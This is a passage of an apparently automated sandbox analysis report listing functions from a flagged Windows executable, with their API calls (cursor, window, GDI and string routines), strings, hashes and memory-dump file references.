Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$wcschr
String ID:
API String ID: 1606153090-0
Opcode ID: 7af861fd32e3facd811c674ed131931c999387065073a8947150b4c7b7c1d960
Instruction ID: 37ec119d55331b8bedf009d1fb1af1190da8be3fec0baf63b684671b5bb31b30
Opcode Fuzzy Hash: 7af861fd32e3facd811c674ed131931c999387065073a8947150b4c7b7c1d960
Instruction Fuzzy Hash: 21317876600745DAEB258F62E804BEE3721FB88B9CF541922EB194BF98CF78C555C780

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400C2300 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00000001400C232C
ScreenToClient.USER32 ref: 00000001400C233B
PtInRect.USER32 ref: 00000001400C234D
LoadCursorW.USER32 ref: 00000001400C2399
SetCursor.USER32 ref: 00000001400C23DF

Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075163
Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075174
Part of subcall function 0000000140075108: VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
Part of subcall function 0000000140075108: GetSystemMetrics.USER32 ref: 0000000140075198

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Cursor$ConditionMask$ClientInfoLoadMetricsRectScreenSystemVerifyVersion
String ID:
API String ID: 506465941-0
Opcode ID: cc3a1d03433cb5574da79bb8019fe8a5dd3879c74cb3578edb47f5a3a5223b9b
Instruction ID: 9c9979cdbeb6df83b8b80d630f81e5fe5763b6df1bf287391f798f1b83c5c1e9
Opcode Fuzzy Hash: cc3a1d03433cb5574da79bb8019fe8a5dd3879c74cb3578edb47f5a3a5223b9b
Instruction Fuzzy Hash: 76317835B14A4186FB469B17E814BD967A0F79CFD5F084026EF09877B1DFB8C9418744

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400C80BC Relevance: 7.6, APIs: 5, Instructions: 61windowCOMMON

Download Yara Rule

APIs

GlobalGetAtomNameW.KERNEL32 ref: 00000001400C8143
GlobalAddAtomW.KERNEL32 ref: 00000001400C814E
GlobalGetAtomNameW.KERNEL32 ref: 00000001400C8163
GlobalAddAtomW.KERNEL32 ref: 00000001400C816E
SendMessageW.USER32 ref: 00000001400C8197

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: AtomGlobal$Name$MessageSend
String ID:
API String ID: 1515195355-0
Opcode ID: f824873ec07ca01c8da2e6fb18faf362fafb0cf8c385aec1a7099471c3428184
Instruction ID: 9e7245d052a26c94062a43323f153e7dbb4186232d8475490ce665c852ed571a
Opcode Fuzzy Hash: f824873ec07ca01c8da2e6fb18faf362fafb0cf8c385aec1a7099471c3428184
Instruction Fuzzy Hash: 6221B336214A9082FB769F12E4687EA67A5F78CFC5F490021EF890B7A4DB38C946C710

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400F0388 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

SetCapture.USER32 ref: 00000001400F03A9
GetCursorPos.USER32 ref: 00000001400F03F2
LoadCursorW.USER32 ref: 00000001400F043A
SetCursor.USER32 ref: 00000001400F0443
GetCursorPos.USER32 ref: 00000001400F0450

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Cursor$CaptureLoad
String ID:
API String ID: 1460996051-0
Opcode ID: da691c9d0e217264b2f7177ce2d39de1eb34a102b86b4459bfe32d5ce26e131b
Instruction ID: 316667aa3591028057343bf394aa0cbb75040aa28a5edade171fcf380a0da5f9
Opcode Fuzzy Hash: da691c9d0e217264b2f7177ce2d39de1eb34a102b86b4459bfe32d5ce26e131b
Instruction Fuzzy Hash: 6C213D3520468191EE4ADB63E5693ED2351BB8DFC4F084026EF5A4B7B2DF79D555C300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400CA160 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00000001400CA179
GetWindowLongW.USER32 ref: 00000001400CA1B9
ShowWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000001400C6FAB), ref: 00000001400CA1D4
GetWindow.USER32 ref: 00000001400CA21A

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$DesktopLongShow
String ID:
API String ID: 1948769292-0
Opcode ID: 3d7858e69acef842ba55361f88f2e30bb78e50fa86d43330b7e885c71cbf5564
Instruction ID: c78f9d8a0d3b0930f4dffcb9450453c89c80f79e78456b24798229c9db115ae8
Opcode Fuzzy Hash: 3d7858e69acef842ba55361f88f2e30bb78e50fa86d43330b7e885c71cbf5564
Instruction Fuzzy Hash: 1721633134879542FA6E9B17A80939E62A1EB8A7D4F184034FF97477E9DE7DCC418300

Uniqueness

Uniqueness Score: -1.00%

Function 000000014005E1C8 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 000000014005E1EA
GetParent.USER32 ref: 000000014005E214
PostMessageW.USER32 ref: 000000014005E23C
GetParent.USER32 ref: 000000014005E255
PostMessageW.USER32 ref: 000000014005E27D

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Parent$MessagePost
String ID:
API String ID: 2076725448-0
Opcode ID: 9daee687eb8c2d5e74b94bf4d7bd1d43af1d730b11a7b203541c193bedbd8cdd
Instruction ID: 6205b49d6dde4ffb3aa512a8c8eb524526d82b6156ac9ab85e6ac97ab5a773e3
Opcode Fuzzy Hash: 9daee687eb8c2d5e74b94bf4d7bd1d43af1d730b11a7b203541c193bedbd8cdd
Instruction Fuzzy Hash: 0111B935705B9082EE5ADB93E9553EA1365BB8DFC5F084035EF4E9B7A9DE39C4018340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400C650C Relevance: 7.5, APIs: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 00000001400C6538
PostMessageW.USER32 ref: 00000001400C6551
GetCapture.USER32 ref: 00000001400C6557
ReleaseCapture.USER32 ref: 00000001400C6563
PostMessageW.USER32 ref: 00000001400C6593

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Message$CapturePost$PeekRelease
String ID:
API String ID: 1125932295-0
Opcode ID: d8263449a7fb442675c9d741cab950380fa11c9e75b3426798dc8e7197357012
Instruction ID: 5d02b2e5aeb4ec6323ff46e37a644a6dd1223255cbe4017dda4c35c19399c0ee
Opcode Fuzzy Hash: d8263449a7fb442675c9d741cab950380fa11c9e75b3426798dc8e7197357012
Instruction Fuzzy Hash: A911CE75714A44C3FB669B26E45CBEA27A0FB98F89F144421EB090BBA4DF7AC0458700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401765F0 Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32 ref: 000000014017660E
GlobalLock.KERNEL32 ref: 000000014017661F
CreateDCW.GDI32 ref: 0000000140176649
GlobalUnlock.KERNEL32(?,?,?,00000001401766FD), ref: 0000000140176655
GlobalUnlock.KERNEL32(?,?,?,00000001401766FD), ref: 0000000140176663

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Global$LockUnlock$Create
String ID:
API String ID: 2536725124-0
Opcode ID: b67141e3bf310ce8c3183a6580bfba82ba2fd196d246686b3223bcafde6c3290
Instruction ID: 9bf65c80c243d2947aad802d16c53bfb16b678dac986c884952ca76357a75eff
Opcode Fuzzy Hash: b67141e3bf310ce8c3183a6580bfba82ba2fd196d246686b3223bcafde6c3290
Instruction Fuzzy Hash: 1301967560065291EE569B17B5087B9A6A1FB4CFC4F485131EF564BBA4EF78C4618300

Uniqueness

Uniqueness Score: -1.00%

Function 000000014007E668 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 000000014007E6AF
EnterCriticalSection.KERNEL32 ref: 000000014007E6C4
EnterCriticalSection.KERNEL32 ref: 000000014007E6D3
GdiplusShutdown.GDIPLUS ref: 000000014007E6E1
LeaveCriticalSection.KERNEL32 ref: 000000014007E6ED

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$Enter$DeleteGdiplusLeaveObjectShutdown
String ID:
API String ID: 1513102227-0
Opcode ID: 0e360754b3e48e207428f9a00453984f0f9454791f566dbbd724859b76125381
Instruction ID: 45943e9ef716b7f4e15b87a25d160d47b76fd9731fdf721eca04ffd95ca445bc
Opcode Fuzzy Hash: 0e360754b3e48e207428f9a00453984f0f9454791f566dbbd724859b76125381
Instruction Fuzzy Hash: DD115EB3611B408AEB1A8F1AD4583A873B0F71CFAAF284224DB59062F1CF79C457C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400FA548 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 292COMMON

Download Yara Rule

APIs

_cwprintf_s_l.LIBCMT ref: 00000001400FA5DA

Strings

%TsDockingManager-%d, xrefs: 00000001400FA5CE
DockingManagers, xrefs: 00000001400FA577
DockingPaneAndPaneDividers, xrefs: 00000001400FA824

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _cwprintf_s_l
String ID: %TsDockingManager-%d$DockingManagers$DockingPaneAndPaneDividers
API String ID: 2941638530-3268659044
Opcode ID: 4c255b5e472967f488ec0f570d514c4a4ca3571553bc1625989048124cd51aba
Instruction ID: aac6bd995a9fb194411c899c494d488cf7025fbf814ea5ce4df0bd781e66ace9
Opcode Fuzzy Hash: 4c255b5e472967f488ec0f570d514c4a4ca3571553bc1625989048124cd51aba
Instruction Fuzzy Hash: 9EC1BD76304A8181EA12EB53D9547ED6361FB8EFD0F498116EF1987BA6DFB8C806D700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401E8804 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001401E8ABF

Strings

UTF-16LEUNICODE, xrefs: 00000001401E8A60
ccs, xrefs: 00000001401E8A00
UTF-8, xrefs: 00000001401E8A41

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: b79c1ce8a429e0b66a6544085a6236cdf389af3687e59af8b6394c484bebcf27
Instruction ID: c0a9294e6d4346c1a3f67ca44e4fac307cbccb19a29dc722445e99621795f1c3
Opcode Fuzzy Hash: b79c1ce8a429e0b66a6544085a6236cdf389af3687e59af8b6394c484bebcf27
Instruction Fuzzy Hash: 19817B32A04240C6FBA79F2786503BD7AE0A399F68F598015CF0A572F6D379CC41D782

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140030510 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001400306B3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000140030708

Strings

gfffffff, xrefs: 0000000140030558
Recursive entity definition for: , xrefs: 00000001400305CB

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: Recursive entity definition for: $gfffffff
API String ID: 3668304517-697489208
Opcode ID: c4bddffb418cb735dc49f0f7ab2d62f77a0bb42a140bfa10506b6b84829f33ba
Instruction ID: c217215b0171af6f35a97944a6e4d17c1b4ec7e5666e7be4432ccc6bdbd03447
Opcode Fuzzy Hash: c4bddffb418cb735dc49f0f7ab2d62f77a0bb42a140bfa10506b6b84829f33ba
Instruction Fuzzy Hash: F761BC72B11B848AFB16CF2AD4643EA6361F388B88F105622EB5D47BA6DB74D591C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014006C47C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 000000014006C513

Strings

PropertyList, xrefs: 000000014006C50C

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: AllocString
String ID: PropertyList
API String ID: 2525500382-1939653111
Opcode ID: 3faf94d71e80f1478992db4a136def932922b0fe98b92a44b49204166f86ff1f
Instruction ID: c72fce3bcaa23bb463ab5578e94afb1babfc51d696dc03cb5461d92425b646ed
Opcode Fuzzy Hash: 3faf94d71e80f1478992db4a136def932922b0fe98b92a44b49204166f86ff1f
Instruction Fuzzy Hash: 4A518D76B01B4086EB06DB6ADC447ED23A1B74CBE4F294516EF2E477A5DF38C8818780

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400883D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

InflateRect.USER32 ref: 0000000140088445

Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075163
Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075174
Part of subcall function 0000000140075108: VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
Part of subcall function 0000000140075108: GetSystemMetrics.USER32 ref: 0000000140075198

Ellipse.GDI32 ref: 0000000140088598

Strings

mmm, xrefs: 00000001400884FB, 0000000140088540
Gu,, xrefs: 00000001400884DF

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ConditionMask$EllipseInflateInfoMetricsRectSystemVerifyVersion
String ID: Gu,$mmm
API String ID: 1790378709-3474039531
Opcode ID: 62884d79be09f67ee8f4a0c25619cdc319221ecd924989925caa86a780ebf8fc
Instruction ID: d8e9d0f1acfb1d7d0612520b0b4e3a5b36232aaca3fc92e2160c1ac1b4bf7794
Opcode Fuzzy Hash: 62884d79be09f67ee8f4a0c25619cdc319221ecd924989925caa86a780ebf8fc
Instruction Fuzzy Hash: 9C516972B009018AF722EB67E855BE937A0B78DBD9F404125AF0997BF5DB38CA418744

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400CA244 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00000001400CA2F8
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00000001400CA3B0

Strings

:%d, xrefs: 00000001400CA2E8, 00000001400CA3A0
- , xrefs: 00000001400CA316, 00000001400CA325, 00000001400CA35E, 00000001400CA36D

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: swprintf
String ID: - $:%d
API String ID: 233258989-2359489159
Opcode ID: 08840d8dfa70003b550151291fcf92dcb25a38b9b4caa654382f718df04a7c38
Instruction ID: c963702b7b0add91584321f51334006090b3a8adb79899bd24cefbf24ac60a9e
